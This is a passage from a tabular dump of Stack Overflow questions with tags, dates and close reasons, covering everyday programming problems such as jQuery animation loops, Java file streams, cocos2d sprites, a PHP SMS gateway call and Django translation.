Dev Ladies and Dev gentlemen, As an Android Dev the challenge that I encounter over and over from my clients is asking that question that bugs a lot of Android Devs: "Can you make it look like the Iphone ?". So they were time where I would try explaining that we are talking about 2 unik platforms with its widgets and behaviors. So my question to my fellow Android devs is there any UI improvements as far a the 4.0 OS is concerned: what I mean by improvements is: 1) A much appealing native UI elements that could be used without harming the looks of an Android app. 2) New widgets with functions that help the UX. 3)Adding new behaviors to existing widget such as Gallery. Thanks for taking the time and reading.
android
native
widgets
features
null
08/30/2011 13:42:49
not constructive
Android 4.0 features === Dev Ladies and Dev gentlemen, As an Android Dev the challenge that I encounter over and over from my clients is asking that question that bugs a lot of Android Devs: "Can you make it look like the Iphone ?". So they were time where I would try explaining that we are talking about 2 unik platforms with its widgets and behaviors. So my question to my fellow Android devs is there any UI improvements as far a the 4.0 OS is concerned: what I mean by improvements is: 1) A much appealing native UI elements that could be used without harming the looks of an Android app. 2) New widgets with functions that help the UX. 3)Adding new behaviors to existing widget such as Gallery. Thanks for taking the time and reading.
4
9,045,078
01/28/2012 12:00:08
928,265
09/05/2011 05:10:45
1
0
Actions and objects
i would like to create a custom action XXX "got nailed at" (nail polish promotion for a chain of stores) with the object being one of the physical store locations i.e. got nailed at XXX store in London or Got nailed at XXX store in NY. Is this possible? Also, when it comes to submitting action and object types, is this vetted by a human at Facebook? Or is this an automated process? Many thx guys - Im not a developer (yet), just a marketer. Thanks in advance for your responses. Im also always looking for talent as im getting plenty of fb app work.. Nick
facebook
facebook-graph-api
opengraph
facebook-opengraph
null
01/30/2012 18:12:27
off topic
Actions and objects === i would like to create a custom action XXX "got nailed at" (nail polish promotion for a chain of stores) with the object being one of the physical store locations i.e. got nailed at XXX store in London or Got nailed at XXX store in NY. Is this possible? Also, when it comes to submitting action and object types, is this vetted by a human at Facebook? Or is this an automated process? Many thx guys - Im not a developer (yet), just a marketer. Thanks in advance for your responses. Im also always looking for talent as im getting plenty of fb app work.. Nick
2
7,636,240
10/03/2011 14:16:00
864,769
07/27/2011 06:20:17
10
0
unity3d, animation stuck at 1st frame
i have a menu scene and scene A, scene B. when i go to scene A, a 3D object will play some animation, and i have some button to click and make it animation also, but from menu if i go to scene B, i come back to menu then i go scene A, all the animation in scene A will not working, "animation.isPlaying" is showing true. if i disable the starting animation, and click those animate button, "animation.isPlaying" turn from false to true also. but it just wont move, just like stuck at 1st frame, any help will be appreciate...
animation
unity3d
null
null
null
10/04/2011 16:39:54
not a real question
unity3d, animation stuck at 1st frame === i have a menu scene and scene A, scene B. when i go to scene A, a 3D object will play some animation, and i have some button to click and make it animation also, but from menu if i go to scene B, i come back to menu then i go scene A, all the animation in scene A will not working, "animation.isPlaying" is showing true. if i disable the starting animation, and click those animate button, "animation.isPlaying" turn from false to true also. but it just wont move, just like stuck at 1st frame, any help will be appreciate...
1
867,263
05/15/2009 06:34:02
107,510
05/15/2009 06:27:14
1
0
Non-interpreted programing language for GUI
I need to write an app that reads a config file with info on the menubars it needs to create. Normaly, i'd just use java, but I need the application to have the least run-time dependencies posible, this includes not forcing the user to download anything, even JRE, let alone something like NET Framework. So I need something that can compile to an EXE (windows only for now), and that will allow me to **CODE** the GUI, so I can dynamicaly create it from my config. BTW: something like C++ is a bit too low level, all I need is to create menus, and display HTMLs in a panel.
gui
programming-languages
null
null
null
null
open
Non-interpreted programing language for GUI === I need to write an app that reads a config file with info on the menubars it needs to create. Normaly, i'd just use java, but I need the application to have the least run-time dependencies posible, this includes not forcing the user to download anything, even JRE, let alone something like NET Framework. So I need something that can compile to an EXE (windows only for now), and that will allow me to **CODE** the GUI, so I can dynamicaly create it from my config. BTW: something like C++ is a bit too low level, all I need is to create menus, and display HTMLs in a panel.
0
6,227,194
06/03/2011 12:39:51
654,362
03/10/2011 21:49:48
170
3
jQuery animation looping seems to send all animated elements crazy !
i asked a question earlier about setting the animation loop to play more than twice; once i added that code into my existing code it seems to send all my animated elements beserk; would you know what is being done wrong ? Demo Link: http://www.prosperitymedia.co.uk/other/ the issue also is your browser might crash it has crashed my firefox a few times so beware, the animation seems to be going very crazy $( function() { function doAnimation() { $('#ochreWrapper img').hide(); $('#ochreTextOne, #ochreTextTwo, #ochreTextThree').hide(); var displayIDs = "img#imgPisa, img#imgBankChina, img#imgSydney, img#imgPetronas, img#imgBooks, img#imgKremlin, img#imgBridge, img#imgEmpire, img#imgLetterbox, img#imgTrafficLight, img#imgPavement, img#imgOchre, img#imgStephensTower, img#imgClouds, img#imgBus, img#imgRickshaw, img#imgPlane, img#imgPeople, img#imgWoman, img#swooshOne, img#swooshTwo, img#swooshThree"; $(displayIDs).css('display', 'block'); $(displayIDs).animate({ opacity: 0 }, 0); //s1 $('img#imgPisa').css({ "bottom" : "-30px"}).animate({ "bottom": "0", "opacity": 1}, 1000 ); $('img#imgSydney').css({ "bottom" : "-40px" }).animate({ "bottom" : "0", "opacity": 1}, 1000 ); $('img#imgPavement').css({ "bottom" : "0" }).animate({ "bottom" : "3%", "opacity": 1}, 1000 ); //s2 $('img#imgBankChina').css({ "bottom" : "-30px"}).delay(500).animate({ "bottom": "0", "opacity": 1}, 1000 ); $('img#imgPetronas').css({ "bottom" : "5%"}).delay(500).animate({ "bottom": "12.1%", "opacity": 1}, 1000 ); $('img#imgLetterbox').css({ "bottom" : "-20px"}).delay(500).animate({ "bottom": "0%", "opacity": 1}, 1000 ); $('img#imgClouds').css({ "left" : "0"}).delay(500).animate({ "left": "0%", "opacity": 1}, 1000 ).delay(500).animate({ "left": "200px", "opacity" : 1 }, 25000); //s3 $('img#imgKremlin').css({ "bottom" : "25%"}).delay(1000).animate({ "bottom": "34%", "opacity": 1}, 1000 ); $('img#imgOchre').css({ "bottom" : "0"}).delay(1000).animate({ "bottom": "7%", "opacity": 1}, 1000 ); //s4 $('img#imgBooks').css({ "bottom" : "13%"}).delay(1500).animate({ "bottom": "23%", "opacity": 1}, 1000 ); $('img#imgStephensTower').css({ "bottom" : "12%"}).delay(1500).animate({ "bottom": "22.5%", "opacity": 1}, 1000 ); //s5 $('img#imgBridge').css({ "bottom" : "36%"}).delay(2000).animate({ "bottom": "46%", "opacity": 1}, 1000 ); //s6 $('img#imgEmpire').css({ "bottom" : "38%"}).delay(2500).animate({ "bottom": "48.7%", "opacity": 1}, 1000 ); $('img#imgTrafficLight').css({ "bottom" : "-10px"}).delay(2500).animate({ "bottom": "3%", "opacity": 1}, 1000 ); //s7 $('img#imgBus').css({ "left" : "5%"}).delay(3000).animate({"opacity" : 1}).animate({ "left": "1000px", "opacity": 1, "bottom" : "50px"}, 7000); $('img#imgPlane').delay(3000).animate({"opacity" : 1}).animate({ "left" : "80%", "opacity" : 1, "top" : "-75px" }, 20000); //s8 $('img#imgRickshaw').css({ "left" : "5%"}).delay(4000).animate({"opacity" : 1}).animate({ "left": "1000px", "opacity": 1, "bottom" : "50px"}, 7000); //s9 $('img#imgPeople, img#imgWoman').css({ "bottom" : "-20px" }).delay(10000).animate({"bottom" : "0", "opacity" : 1 }, 1000); //s10 $('#ochreTextOne').delay(10000).fadeIn(1000).delay(10000).fadeOut(500); $('img#swooshTwo, img#swooshThree').hide(); $('img#swooshOne').show().animate({ "opacity" : 1}, 0); $('img#swooshOneOverlay').css({ "right" : "0", "display" : "block" }).delay(10000).animate({ "right" : "1500px" }, 3000, function(){ $('img#swooshOne').hide(); $('img#swooshTwo, img#swooshThree').show().animate({ "opacity" : 1}, 0); }).delay(3000).delay(10100).animate({ "right" : "0" }, 3000); $('img#swooshTwoOverlay').css({ "right" : "-1500px", "display" : "block" }).delay(10100).animate({ "right" : "0px" }, 3000).delay(3000).delay(10000).animate({ "right" : "-1500px" }, 3000); //s11 $('#ochreTextTwo').css({ "padding-left" : "50px" }).delay(22000).fadeIn(1000).delay(10000).fadeOut(500); //s12 $('#ochreTextThree').css({ "padding-left" : "50px" }).delay(33000).fadeIn(1000).delay(10000).fadeOut(500).delay(0, doAnimation) doAnimation(); } doAnimation(); });
jquery
null
null
null
null
null
open
jQuery animation looping seems to send all animated elements crazy ! === i asked a question earlier about setting the animation loop to play more than twice; once i added that code into my existing code it seems to send all my animated elements beserk; would you know what is being done wrong ? Demo Link: http://www.prosperitymedia.co.uk/other/ the issue also is your browser might crash it has crashed my firefox a few times so beware, the animation seems to be going very crazy $( function() { function doAnimation() { $('#ochreWrapper img').hide(); $('#ochreTextOne, #ochreTextTwo, #ochreTextThree').hide(); var displayIDs = "img#imgPisa, img#imgBankChina, img#imgSydney, img#imgPetronas, img#imgBooks, img#imgKremlin, img#imgBridge, img#imgEmpire, img#imgLetterbox, img#imgTrafficLight, img#imgPavement, img#imgOchre, img#imgStephensTower, img#imgClouds, img#imgBus, img#imgRickshaw, img#imgPlane, img#imgPeople, img#imgWoman, img#swooshOne, img#swooshTwo, img#swooshThree"; $(displayIDs).css('display', 'block'); $(displayIDs).animate({ opacity: 0 }, 0); //s1 $('img#imgPisa').css({ "bottom" : "-30px"}).animate({ "bottom": "0", "opacity": 1}, 1000 ); $('img#imgSydney').css({ "bottom" : "-40px" }).animate({ "bottom" : "0", "opacity": 1}, 1000 ); $('img#imgPavement').css({ "bottom" : "0" }).animate({ "bottom" : "3%", "opacity": 1}, 1000 ); //s2 $('img#imgBankChina').css({ "bottom" : "-30px"}).delay(500).animate({ "bottom": "0", "opacity": 1}, 1000 ); $('img#imgPetronas').css({ "bottom" : "5%"}).delay(500).animate({ "bottom": "12.1%", "opacity": 1}, 1000 ); $('img#imgLetterbox').css({ "bottom" : "-20px"}).delay(500).animate({ "bottom": "0%", "opacity": 1}, 1000 ); $('img#imgClouds').css({ "left" : "0"}).delay(500).animate({ "left": "0%", "opacity": 1}, 1000 ).delay(500).animate({ "left": "200px", "opacity" : 1 }, 25000); //s3 $('img#imgKremlin').css({ "bottom" : "25%"}).delay(1000).animate({ "bottom": "34%", "opacity": 1}, 1000 ); $('img#imgOchre').css({ "bottom" : "0"}).delay(1000).animate({ "bottom": "7%", "opacity": 1}, 1000 ); //s4 $('img#imgBooks').css({ "bottom" : "13%"}).delay(1500).animate({ "bottom": "23%", "opacity": 1}, 1000 ); $('img#imgStephensTower').css({ "bottom" : "12%"}).delay(1500).animate({ "bottom": "22.5%", "opacity": 1}, 1000 ); //s5 $('img#imgBridge').css({ "bottom" : "36%"}).delay(2000).animate({ "bottom": "46%", "opacity": 1}, 1000 ); //s6 $('img#imgEmpire').css({ "bottom" : "38%"}).delay(2500).animate({ "bottom": "48.7%", "opacity": 1}, 1000 ); $('img#imgTrafficLight').css({ "bottom" : "-10px"}).delay(2500).animate({ "bottom": "3%", "opacity": 1}, 1000 ); //s7 $('img#imgBus').css({ "left" : "5%"}).delay(3000).animate({"opacity" : 1}).animate({ "left": "1000px", "opacity": 1, "bottom" : "50px"}, 7000); $('img#imgPlane').delay(3000).animate({"opacity" : 1}).animate({ "left" : "80%", "opacity" : 1, "top" : "-75px" }, 20000); //s8 $('img#imgRickshaw').css({ "left" : "5%"}).delay(4000).animate({"opacity" : 1}).animate({ "left": "1000px", "opacity": 1, "bottom" : "50px"}, 7000); //s9 $('img#imgPeople, img#imgWoman').css({ "bottom" : "-20px" }).delay(10000).animate({"bottom" : "0", "opacity" : 1 }, 1000); //s10 $('#ochreTextOne').delay(10000).fadeIn(1000).delay(10000).fadeOut(500); $('img#swooshTwo, img#swooshThree').hide(); $('img#swooshOne').show().animate({ "opacity" : 1}, 0); $('img#swooshOneOverlay').css({ "right" : "0", "display" : "block" }).delay(10000).animate({ "right" : "1500px" }, 3000, function(){ $('img#swooshOne').hide(); $('img#swooshTwo, img#swooshThree').show().animate({ "opacity" : 1}, 0); }).delay(3000).delay(10100).animate({ "right" : "0" }, 3000); $('img#swooshTwoOverlay').css({ "right" : "-1500px", "display" : "block" }).delay(10100).animate({ "right" : "0px" }, 3000).delay(3000).delay(10000).animate({ "right" : "-1500px" }, 3000); //s11 $('#ochreTextTwo').css({ "padding-left" : "50px" }).delay(22000).fadeIn(1000).delay(10000).fadeOut(500); //s12 $('#ochreTextThree').css({ "padding-left" : "50px" }).delay(33000).fadeIn(1000).delay(10000).fadeOut(500).delay(0, doAnimation) doAnimation(); } doAnimation(); });
0
8,802,034
01/10/2012 10:48:45
923,789
09/01/2011 15:53:37
69
1
ShareKit/Twitter memory leak
I've got a problem - I'm using ShareKit 2.0, and while I'm testing on iOs 5.0.1 I get some memory leaks when I'm trying to share on Twitter. To be exact, at the moment when native ios5 twitter window pops-up, and when i hit "send". The problem seems to be in TWSession. When I'm testing on iOS 4.3, and using custom sharekit twitter window there are no leaks. Any idea on how to fix it? Will this be an issue on the approval process? I'm not using ARC btw.
objective-c
ios
xcode
twitter
sharekit
null
open
ShareKit/Twitter memory leak === I've got a problem - I'm using ShareKit 2.0, and while I'm testing on iOs 5.0.1 I get some memory leaks when I'm trying to share on Twitter. To be exact, at the moment when native ios5 twitter window pops-up, and when i hit "send". The problem seems to be in TWSession. When I'm testing on iOS 4.3, and using custom sharekit twitter window there are no leaks. Any idea on how to fix it? Will this be an issue on the approval process? I'm not using ARC btw.
0
937,207
06/01/2009 22:55:13
23,630
09/30/2008 00:08:38
345
3
How can I write Perl code from Perl
I have a Perl program that reads in a bunch of data, munges it, and then outputs several different file formats. I'd like to make Perl be one of those formats (in the form of a .pm package) and allow people to use the munged data within their own Perl scripts. Printing out the data is easy, using Data::Dump::pp I'd also like to print some helper functions to the resulting package. What's an easy way to print a multi-line string ***without*** variable substitution? I'd like to be able to do: print <<EOL; sub xyz { my $var = shift; } EOL But then I'd have to escape all of the $'s. Is there a simple way to do this? Perhaps I can create an actual sub and have some magic pretty-printer print the contents? The printed code doesn't have to match the input or even be legible.
perl
null
null
null
null
null
open
How can I write Perl code from Perl === I have a Perl program that reads in a bunch of data, munges it, and then outputs several different file formats. I'd like to make Perl be one of those formats (in the form of a .pm package) and allow people to use the munged data within their own Perl scripts. Printing out the data is easy, using Data::Dump::pp I'd also like to print some helper functions to the resulting package. What's an easy way to print a multi-line string ***without*** variable substitution? I'd like to be able to do: print <<EOL; sub xyz { my $var = shift; } EOL But then I'd have to escape all of the $'s. Is there a simple way to do this? Perhaps I can create an actual sub and have some magic pretty-printer print the contents? The printed code doesn't have to match the input or even be legible.
0
7,692,298
10/07/2011 19:59:22
872,344
08/01/2011 07:12:44
19
2
InputStream from relative path
Here is my question. I have a **relative file path** (for example "/res/example.xls") and I would like to get an **InputStream** Object of that file from that path. I checked the JavaDoc and did not find a constructor or a method to get such a InputStream from a path... Anyone has any idea please kindly let me know! Thank you Allan
java
path
io
inputstream
relative-path
null
open
InputStream from relative path === Here is my question. I have a **relative file path** (for example "/res/example.xls") and I would like to get an **InputStream** Object of that file from that path. I checked the JavaDoc and did not find a constructor or a method to get such a InputStream from a path... Anyone has any idea please kindly let me know! Thank you Allan
0
8,047,290
11/08/2011 07:42:38
190,803
10/15/2009 18:29:05
171
5
CCSprite not displayed when placed on CCNode or position is wrong
I have this code in my init: -(id)init { if ((self = [super init])) { CGSize screenSize = [CCDirector sharedDirector].winSize; mapSize = CGSizeMake(4000, 4000); rotateWorld = [CCNode node]; [rotateWorld setContentSize:mapSize]; rotateWorld.position = CGPointMake(screenSize.width / 2, screenSize.height / 2); positionWorld = [CCNode node]; [positionWorld setContentSize:mapSize]; positionWorld.position = CGPointMake(mapSize.width / 2, mapSize.height / 2); [rotateWorld addChild:positionWorld z:0]; [self addChild:rotateWorld z:0]; // Test enemy [[CCSpriteFrameCache sharedSpriteFrameCache] addSpriteFramesWithFile:@"EnemiesSpritesheet.plist"]; spriteSheetNonPlayer = [[CCSpriteBatchNode alloc] initWithFile:@"EnemiesSpritesheet.png"capacity:10]; [positionWorld addChild:spriteSheetNonPlayer z:0]; enemy = [[Enemy_01 alloc] initWithSpriteFrame:[[CCSpriteFrameCache sharedSpriteFrameCache] spriteFrameByName:@"enemy_01_01.png"]]; enemy.position = CGPointMake(mapSize.width / 2, mapSize.height / 2); [spriteSheetNonPlayer addChild:enemy]; } return self; } Now I would expect my enemy sprite to show up in the middle of the screen, but it does not and I do not know if it is show at all. The funny thing is that if I change the positionWorld from a CCNode to a CCSprite containing a background image of 4000x4000 it works perfectly, but why not with a CCNode with its contetSize set? How do I get this to work with a CCNode? Thank you Søren
objective-c
cocos2d
cocos2d-iphone
ccsprite
null
null
open
CCSprite not displayed when placed on CCNode or position is wrong === I have this code in my init: -(id)init { if ((self = [super init])) { CGSize screenSize = [CCDirector sharedDirector].winSize; mapSize = CGSizeMake(4000, 4000); rotateWorld = [CCNode node]; [rotateWorld setContentSize:mapSize]; rotateWorld.position = CGPointMake(screenSize.width / 2, screenSize.height / 2); positionWorld = [CCNode node]; [positionWorld setContentSize:mapSize]; positionWorld.position = CGPointMake(mapSize.width / 2, mapSize.height / 2); [rotateWorld addChild:positionWorld z:0]; [self addChild:rotateWorld z:0]; // Test enemy [[CCSpriteFrameCache sharedSpriteFrameCache] addSpriteFramesWithFile:@"EnemiesSpritesheet.plist"]; spriteSheetNonPlayer = [[CCSpriteBatchNode alloc] initWithFile:@"EnemiesSpritesheet.png"capacity:10]; [positionWorld addChild:spriteSheetNonPlayer z:0]; enemy = [[Enemy_01 alloc] initWithSpriteFrame:[[CCSpriteFrameCache sharedSpriteFrameCache] spriteFrameByName:@"enemy_01_01.png"]]; enemy.position = CGPointMake(mapSize.width / 2, mapSize.height / 2); [spriteSheetNonPlayer addChild:enemy]; } return self; } Now I would expect my enemy sprite to show up in the middle of the screen, but it does not and I do not know if it is show at all. The funny thing is that if I change the positionWorld from a CCNode to a CCSprite containing a background image of 4000x4000 it works perfectly, but why not with a CCNode with its contetSize set? How do I get this to work with a CCNode? Thank you Søren
0
11,287,711
07/02/2012 04:13:09
1,493,667
07/01/2012 00:12:19
25
0
Removing unwanted text from a program
Can you help "de-bug" this program. I have it almost perfect but when I print it includes "28" , which I don't want. public static boolean isPerfectNumber(int n) { int lhs=0,rhs = 0; for(int i = 1;i<(n-2);i++) { lhs += i * (n/i) ; rhs += i * ((n-1)/i) ; } rhs += n; if(rhs == lhs) { return true ; } return false ; } public static void main(String[] theory) { int candArray[] = new int [20] ; for(int i = 2;i<21;i++) { candArray[i-2] = (int) (Math.pow(2, i-1)*(Math.pow(2, i)-1) ); } for(int i = 1;i<20;i++){ if(isPerfectNumber(candArray[i]) ) { System.out.println(candArray[i] + " is a perfectNumber" ); } } } The help would be appreciated.
java
homework
null
null
null
07/02/2012 09:22:12
too localized
Removing unwanted text from a program === Can you help "de-bug" this program. I have it almost perfect but when I print it includes "28" , which I don't want. public static boolean isPerfectNumber(int n) { int lhs=0,rhs = 0; for(int i = 1;i<(n-2);i++) { lhs += i * (n/i) ; rhs += i * ((n-1)/i) ; } rhs += n; if(rhs == lhs) { return true ; } return false ; } public static void main(String[] theory) { int candArray[] = new int [20] ; for(int i = 2;i<21;i++) { candArray[i-2] = (int) (Math.pow(2, i-1)*(Math.pow(2, i)-1) ); } for(int i = 1;i<20;i++){ if(isPerfectNumber(candArray[i]) ) { System.out.println(candArray[i] + " is a perfectNumber" ); } } } The help would be appreciated.
3
7,133,467
08/20/2011 17:39:21
543,711
12/15/2010 17:48:34
519
34
Free HTML page template for presenting mobile apps?
I wonder if some of you came across a `nice free one-page template` for presenting iOs/android apps. I have an application and I want to have a one-page in my website for it. I want something like [this][1] or even simpler. This example have some little PHP which is fine for me. Any link will be appreciated :) [1]: http://themeforest.net/item/apper-app-presentation-template/147242
android
html
ios
templates
null
08/20/2011 19:28:22
off topic
Free HTML page template for presenting mobile apps? === I wonder if some of you came across a `nice free one-page template` for presenting iOs/android apps. I have an application and I want to have a one-page in my website for it. I want something like [this][1] or even simpler. This example have some little PHP which is fine for me. Any link will be appreciated :) [1]: http://themeforest.net/item/apper-app-presentation-template/147242
2
6,011,718
05/15/2011 22:36:00
577,057
01/15/2011 21:20:07
146
9
Indexing engine.
I'm developing context discover system - which is mix of searching and suggestions. <br /> Currently I'm looking for library for indexing. <br /> After some investigation I stayed on **Lucene** and **Terrier** and found Indri not comfortable. What are the downsides of both? What problem I can meet while using them? Is it true that Terrier doesn't have incremental indexing (every time new document is added, I need to rebuild and reindex everything)? My requirements are: - easy adding new documents - easy score methods injection - quiet well defined model
indexing
lucene
search-engine
information-retrieval
null
null
open
Indexing engine. === I'm developing context discover system - which is mix of searching and suggestions. <br /> Currently I'm looking for library for indexing. <br /> After some investigation I stayed on **Lucene** and **Terrier** and found Indri not comfortable. What are the downsides of both? What problem I can meet while using them? Is it true that Terrier doesn't have incremental indexing (every time new document is added, I need to rebuild and reindex everything)? My requirements are: - easy adding new documents - easy score methods injection - quiet well defined model
0
9,007,719
01/25/2012 18:02:12
1,156,695
01/18/2012 16:29:54
6
0
PHP SMS Gateway API
I purchased a SMS gateway for that they gave me only HTTP API but I need PHP API. Can anybody help me how to convert the below API to PHP API. http://indiansms.smsmaker.in/api/sendmsg.php?user=UNAME&pass=PASS&sender=Sender ID&phone=Mobile No&text=SMS&priority=Priority&stype=smstype I used the following code , i send sms but the codes below the header() is not executed... <?php $user="UNAME"; $pass="PASS"; $sender="TOKENgenerator"; $phone = 9999999999; $msg= "Token number is:123456"; $location = "http://indiansms.smsmaker.in/api/sendmsg.php?user=".$user."&pass=".$pass."&sender=".$sender."&phone=".$phone."&text=".$msg."&priority=dnd&stype=normal"; header( "Location:$location" ); echo "Enter your Token "; . //Input text field to get token . . ?>
php
sms-gateway
null
null
null
01/30/2012 21:25:41
not a real question
PHP SMS Gateway API === I purchased a SMS gateway for that they gave me only HTTP API but I need PHP API. Can anybody help me how to convert the below API to PHP API. http://indiansms.smsmaker.in/api/sendmsg.php?user=UNAME&pass=PASS&sender=Sender ID&phone=Mobile No&text=SMS&priority=Priority&stype=smstype I used the following code , i send sms but the codes below the header() is not executed... <?php $user="UNAME"; $pass="PASS"; $sender="TOKENgenerator"; $phone = 9999999999; $msg= "Token number is:123456"; $location = "http://indiansms.smsmaker.in/api/sendmsg.php?user=".$user."&pass=".$pass."&sender=".$sender."&phone=".$phone."&text=".$msg."&priority=dnd&stype=normal"; header( "Location:$location" ); echo "Enter your Token "; . //Input text field to get token . . ?>
1
9,952,290
03/31/2012 01:41:15
1,304,337
03/30/2012 23:54:52
1
0
What are the other types of caching in the Internet apart from caching web page?
What are the other types of caching in the Internet apart from caching web page? Is forward-caching applicable in other types of caching apart from caching web page?
caching
distributed-caching
offline-caching
http-caching
data-caching
04/01/2012 07:51:44
not constructive
What are the other types of caching in the Internet apart from caching web page? === What are the other types of caching in the Internet apart from caching web page? Is forward-caching applicable in other types of caching apart from caching web page?
4
5,393,074
03/22/2011 14:49:25
488,735
10/27/2010 11:15:57
210
0
How it works python gettext with PO files from http://translationproject.org ?
I'm new to Python and Django. I want to start a Django multi langual project. I see that I should use gettext to translate the strings but I'm not getting how it works. For example. My main language is Portuguese, and I need to translate to English and Chinese. What PO files I need, and how to get the files? Sorry if the question is confusing. Best Regards,
python
django
gettext
null
null
null
open
How it works python gettext with PO files from http://translationproject.org ? === I'm new to Python and Django. I want to start a Django multi langual project. I see that I should use gettext to translate the strings but I'm not getting how it works. For example. My main language is Portuguese, and I need to translate to English and Chinese. What PO files I need, and how to get the files? Sorry if the question is confusing. Best Regards,
0
491,932
01/29/2009 15:05:20
14,723
09/17/2008 02:19:12
102
2
What is the best book(s) on Lisp?
I am starting a new project at work where I will be required to use Lisp as a part of some cognitive work that I will be doing. I'm not very familiar with Lisp. Do any of you know of any books that will help me get up to speed quickly?
lisp
null
null
null
null
06/17/2012 05:03:40
not constructive
What is the best book(s) on Lisp? === I am starting a new project at work where I will be required to use Lisp as a part of some cognitive work that I will be doing. I'm not very familiar with Lisp. Do any of you know of any books that will help me get up to speed quickly?
4
2,557,550
04/01/2010 01:04:59
281,465
10/02/2009 13:07:37
114
0
URL rewriting IIS6
Hi i was using HttpModule to Perform Extension-Less URL Rewriting as explained at http://weblogs.asp.net/scottgu/archive/2007/02/26/tip-trick-url-rewriting-with-asp-net.aspx Approach 3: works perfectly in IIS7, now i just published the solution to the live environment it doesnt work. the reason seems to be the fact that they are running IIS6 the question is does anyone now any quick solution to make it work in IIS6 without having to change all the code? thanks
url
seo
null
null
null
null
open
URL rewriting IIS6 === Hi i was using HttpModule to Perform Extension-Less URL Rewriting as explained at http://weblogs.asp.net/scottgu/archive/2007/02/26/tip-trick-url-rewriting-with-asp-net.aspx Approach 3: works perfectly in IIS7, now i just published the solution to the live environment it doesnt work. the reason seems to be the fact that they are running IIS6 the question is does anyone now any quick solution to make it work in IIS6 without having to change all the code? thanks
0
7,839,580
10/20/2011 17:10:30
850,230
07/18/2011 14:43:46
3
0
Developing A Programming Language
I'm asked to develop concept of a PL working on real world objects. E.g: for cars. DEFINE(MYCAR (GRAY, 2010)) with this statement I created car object named MYCAR. It is just a simple example. How i can write this procedure in pseudocode? I'm really confused. And sorry for my English.
pseudocode
null
null
null
null
10/20/2011 17:56:12
not a real question
Developing A Programming Language === I'm asked to develop concept of a PL working on real world objects. E.g: for cars. DEFINE(MYCAR (GRAY, 2010)) with this statement I created car object named MYCAR. It is just a simple example. How i can write this procedure in pseudocode? I'm really confused. And sorry for my English.
1
4,782,750
01/24/2011 13:51:34
509,663
11/16/2010 15:13:30
233
11
Manipulate $session->flash() view output in CakePHP
I am looking to manipulate the `$session->flash()` output in my CakePHP app, Currently I have the very simple default implementation of showing flash and auth error messages: <?php $session->flash(); $session->flash('auth'); ?> This produces a `<div>` with an ID and class that has the message inside. What I would like to do is wrap/replace the generated HTML, specifically with some jQuery UI classes, but wrapping is difficult as I am unable to tell when there is actually a message going to be displayed so I end p with an empty but style error div. As far as I can tell the generated HTML is *hard coded* into the session helper! Bonus points if you can work out how to change the class on the auth message and normal flash message independently.
php
cakephp
null
null
null
null
open
Manipulate $session->flash() view output in CakePHP === I am looking to manipulate the `$session->flash()` output in my CakePHP app, Currently I have the very simple default implementation of showing flash and auth error messages: <?php $session->flash(); $session->flash('auth'); ?> This produces a `<div>` with an ID and class that has the message inside. What I would like to do is wrap/replace the generated HTML, specifically with some jQuery UI classes, but wrapping is difficult as I am unable to tell when there is actually a message going to be displayed so I end p with an empty but style error div. As far as I can tell the generated HTML is *hard coded* into the session helper! Bonus points if you can work out how to change the class on the auth message and normal flash message independently.
0
2,359,874
03/01/2010 23:25:43
152,940
08/08/2009 10:35:51
111
7
How to create "image building" effect
I'm looking for a convinient way to create such an effect in a web application: i have some picture, which has not very high resolution, and i want it to appear as a cloud of particles in some random part of the screen, and then to move to it's position. It's ok that i will lose some resolution (i don't think that 1x1px particles are nice ;) ). I want to use silverlight/canvas or processing-js/canvas. Any ideas? Thx.
silverlight
javascript
animation
null
null
null
open
How to create "image building" effect === I'm looking for a convinient way to create such an effect in a web application: i have some picture, which has not very high resolution, and i want it to appear as a cloud of particles in some random part of the screen, and then to move to it's position. It's ok that i will lose some resolution (i don't think that 1x1px particles are nice ;) ). I want to use silverlight/canvas or processing-js/canvas. Any ideas? Thx.
0
2,901,793
05/25/2010 03:28:09
101,095
05/04/2009 19:18:50
1,900
94
What's the best way to send user-inputted text via AJAX to Google App Engine?
I'm developing in Google App Engine (python sdk) and I want to use jQuery to send an Ajax request to store an answer to a question. What is the best way to send this data to the server? Currently I have: function storeItem(question_id) { var answerInputControl = ".input_answer_"+question_id; var answer_text = $(answerInputControl).text(); $.ajax({ type: "POST", url: "store_answer.html", data: "question="+question_id, success: function(responseText){ alert("Retrieved: " + responseText); } }); } This takes a question Id and provides it to the server via the query string. But on the server-side, I'm unable to access the content of the answer control which I want to store. Without Ajax, I'm able to perform this operation with the following: class StoreAnswers(webapp.RequestHandler): def post(self): question_id = self.request.get("question_id") answer_text = self.request.get("input_answer" + question_id) But when doing this call through Ajax, my `answer_text` is empty. - Do I need to send the contents of this control as part of the data with the Ajax request? - Do I add the control itself to the query string? Its contents? Does it matter that the content might be a few hundred characters long? Is this the most-recommended practice? - If sending it as a query string, what's the best way to escape the content so that a malicious user doesn't harm the system?
jquery
python
ajax
google-app-engine
null
null
open
What's the best way to send user-inputted text via AJAX to Google App Engine? === I'm developing in Google App Engine (python sdk) and I want to use jQuery to send an Ajax request to store an answer to a question. What is the best way to send this data to the server? Currently I have: function storeItem(question_id) { var answerInputControl = ".input_answer_"+question_id; var answer_text = $(answerInputControl).text(); $.ajax({ type: "POST", url: "store_answer.html", data: "question="+question_id, success: function(responseText){ alert("Retrieved: " + responseText); } }); } This takes a question Id and provides it to the server via the query string. But on the server-side, I'm unable to access the content of the answer control which I want to store. Without Ajax, I'm able to perform this operation with the following: class StoreAnswers(webapp.RequestHandler): def post(self): question_id = self.request.get("question_id") answer_text = self.request.get("input_answer" + question_id) But when doing this call through Ajax, my `answer_text` is empty. - Do I need to send the contents of this control as part of the data with the Ajax request? - Do I add the control itself to the query string? Its contents? Does it matter that the content might be a few hundred characters long? Is this the most-recommended practice? - If sending it as a query string, what's the best way to escape the content so that a malicious user doesn't harm the system?
0
9,086,691
01/31/2012 20:48:15
836,169
07/08/2011 22:05:46
408
13
Migrating Visual Studio Solution from x86 to x64 Developer Environment
